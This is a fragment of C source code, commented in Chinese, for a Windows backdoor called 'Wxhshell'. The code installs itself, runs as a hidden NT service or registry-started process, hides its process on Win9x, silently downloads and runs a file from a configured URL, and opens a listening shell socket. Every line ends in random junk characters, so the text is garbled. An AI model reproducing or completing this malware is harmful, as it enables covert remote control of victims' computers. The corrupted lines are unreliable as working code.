ULONG UniqueProcessId; 7 B4w.P,B
ULONG InheritedFromUniqueProcessId; m3 x!*9h
} PROCESS_BASIC_INFORMATION; @|JPE%T
)[F46?$vrk
PROCNTQSIP NtQueryInformationProcess; L2do2_
1ZGQhjcx
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mJU>f-l
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k|)^!BdO
!:R^}pMhIk
HANDLE hProcess; U]1>?,Nk'3
PROCESS_BASIC_INFORMATION pbi; N GX-'w
b*9m2=6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :C}KI)
if(NULL == hInst ) return 0; AqTR.}H
pRb+'v&_k
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YLr%vnO*NS
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >&4I.nA
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (Qw`%B
~QQEHx\4zZ
if (!NtQueryInformationProcess) return 0; 50O7=
([z<TS#Md
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H"kc^G+(R"
if(!hProcess) return 0; O#<|[Dzw
_Y:Ja0,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +Px<DX+
4C2>0O<^s
CloseHandle(hProcess); 6Vu}kK)
hv_pb#1Ks
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g%KGF)+H
if(hProcess==NULL) return 0; +"*l2E]5
IDL^0:eg<.
HMODULE hMod; y'i:%n}I
char procName[255]; bF8xQ<i~Y
unsigned long cbNeeded; t(LlWd
^$T!@+:
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .F=<r-0
MC[`<W)u
CloseHandle(hProcess); H-PW(
3tx0y
if(strstr(procName,"services")) return 1; // 以服务启动 !kjr>:)x
`:B
return 0; // 注册表启动 kfG 65aa>_
} [7ek;d;'t
h|Teh-@A5
// 主模块 _
cHV3cz
int StartWxhshell(LPSTR lpCmdLine) +)''l
{ `i_L?C7
SOCKET wsl; h<!khWFS
BOOL val=TRUE; V8| q"UX
int port=0; %<bG%V(
struct sockaddr_in door; hc31+TL
P*nT\B
if(wscfg.ws_autoins) Install(); @pEO@bbg>
EzeDShN=J
port=atoi(lpCmdLine); 9cx!N,R t
GwU>o:g"
if(port<=0) port=wscfg.ws_port; vb80J<4
b*F :l#
WSADATA data; AU${0#WV_
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /oixtO)
Wtzj;GJj
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _g/TH-;^
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (tz_D7c$F
door.sin_family = AF_INET; CzDR% v x
door.sin_addr.s_addr = inet_addr("127.0.0.1"); m}'t'l4 c
door.sin_port = htons(port); UHsrZgIRYT
o )}<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ytcG6WN3
closesocket(wsl); Ty,)mx){)
return 1; _|5FrN
} ~_^o?NE,
U{:(j5m
if(listen(wsl,2) == INVALID_SOCKET) { Z2pN<S{5
closesocket(wsl); \w@_(4")Qb
return 1; Rs(CrB/M
} H--*[3".
Wxhshell(wsl); q4#f
*]
WSACleanup(); Y|qixpP
9OO_Hp#|9
return 0; BD-c 0-+m
,oi`BOh
} wDC/w[4:
O%Gsk'mo
// 以NT服务方式启动 lXL7q?,9
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "8iyMP%8
{ >7v.`m6?H
DWORD status = 0; g cK"
DWORD specificError = 0xfffffff; Hr8$1I$=
SpTORR8
serviceStatus.dwServiceType = SERVICE_WIN32; XCi]()TZ_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; j*Wh;I+h
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q MT.7n:
serviceStatus.dwWin32ExitCode = 0; -GkK[KCH
serviceStatus.dwServiceSpecificExitCode = 0; #SLxN AH
serviceStatus.dwCheckPoint = 0; S&))
0d
serviceStatus.dwWaitHint = 0; FsPDWy&x
4+ ?ZTc(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6L`+z
if (hServiceStatusHandle==0) return; gp&&
c,
Hk~
gcG
status = GetLastError(); :`"T Eif
if (status!=NO_ERROR) Ev|{~U
{ TWR#MVMI
serviceStatus.dwCurrentState = SERVICE_STOPPED; zl0:U2x7
serviceStatus.dwCheckPoint = 0; {@F["YPxy
serviceStatus.dwWaitHint = 0; 5`{;hFl
serviceStatus.dwWin32ExitCode = status; rj f=qh5s
serviceStatus.dwServiceSpecificExitCode = specificError; 2;(iTPz +
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <W[8k-yOV`
return; sq6% =(q(?
} Sph"w08
o_Kc nVQ\
serviceStatus.dwCurrentState = SERVICE_RUNNING; )s7 Tv#[
serviceStatus.dwCheckPoint = 0; 2Q'XB
serviceStatus.dwWaitHint = 0; 08n%%
F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
a):Run
} jvQ+u L
V1b_z
// 处理NT服务事件,比如:启动、停止 O> ^~SO
VOID WINAPI NTServiceHandler(DWORD fdwControl) D>#v 6XI
{ VOK$;s'9}
switch(fdwControl) f;XsShxr
{ \t(r@qq
case SERVICE_CONTROL_STOP: f]6`GsE
serviceStatus.dwWin32ExitCode = 0; [W|7r
n,q
serviceStatus.dwCurrentState = SERVICE_STOPPED; bz@=zLBt
serviceStatus.dwCheckPoint = 0; 7'/2 :"
serviceStatus.dwWaitHint = 0; WUK.>eM0
{ =O:ek#Bp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l|tp0[
} 3%4Mq6Q`
return; D.CsnfJ
case SERVICE_CONTROL_PAUSE: y<x_v )k-
serviceStatus.dwCurrentState = SERVICE_PAUSED; JO6vzoS3
break; <7-,`
case SERVICE_CONTROL_CONTINUE: =
Vr[V@
serviceStatus.dwCurrentState = SERVICE_RUNNING; TKBK3N
break; W
me1w\0
case SERVICE_CONTROL_INTERROGATE: >,]e[/p
break; \ui~n:aWJ
}; :a!a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @DC2ci
>
} it|:P
#V,~d&_k
// 标准应用程序主函数 IV#f}NrfD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j#>![km Mu
{
#YYvc`9
]B'
// 获取操作系统版本 c1!/jTX$
OsIsNt=GetOsVer(); WHavz0knf[
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5%aKlx9^#
jqsktJw#i
// 从命令行安装 @.@#WHde
if(strpbrk(lpCmdLine,"iI")) Install(); L , Fso./y
2u H\8A+'f
// 下载执行文件 [_G0kiI}W"
if(wscfg.ws_downexe) { VP[!ji9P
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )w?$~q
WinExec(wscfg.ws_filenam,SW_HIDE); im[gbac
} 4qcIoO
x[@3;_'K
if(!OsIsNt) { 4^}PnU7z
// 如果时win9x,隐藏进程并且设置为注册表启动 }`FC__
HideProc(); {Qmb!`F
StartWxhshell(lpCmdLine); uqeWdj*Y
} N6
(w<b
else k)' z<EL6c
if(StartFromService()) CIvT5^}
// 以服务方式启动 7Bd_/A($
StartServiceCtrlDispatcher(DispatchTable); kL2sJX+
else nln[V$
// 普通方式启动 HZ4
^T7G
StartWxhshell(lpCmdLine); I[IQFka}
OL"5A18;M
return 0; `rJ ~*7-
}